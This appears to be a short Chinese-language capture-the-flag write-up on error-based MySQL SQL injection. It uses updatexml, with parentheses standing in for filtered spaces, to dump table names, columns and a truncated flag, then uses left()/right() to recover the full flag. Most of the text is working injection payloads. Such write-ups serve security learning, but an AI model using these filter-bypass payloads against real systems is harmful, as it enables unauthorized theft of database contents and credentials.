经过一番测试,发现union 、空格 、if
这两个关键词被过滤,select
与盲注的想法暂且收起来。测试一下updatexml 、() 、'
都是可以使用的,那就是报错注入了
空格用()代替
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
1'or(updatexml(1,concat(0x7e,(select(group_concat(password,30))from(H4rDsq1)),0x7e),1))#
进行到此本应该拿到flag,但却发现只显示了一部分: '~flag{97615c0a-c9b5-4239-9246-36'
很明显有一个字符截取的函数限制了输出长度,substr() ?
截取函数:left(arg,length) right(arg,length)
两个MySQL函数分别从左、右边返回length长度的字符串
1'or(updatexml(1,concat(0x7e,(select(left(password,30))from(H4rDsq1)),0x7e),1))#
1'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))#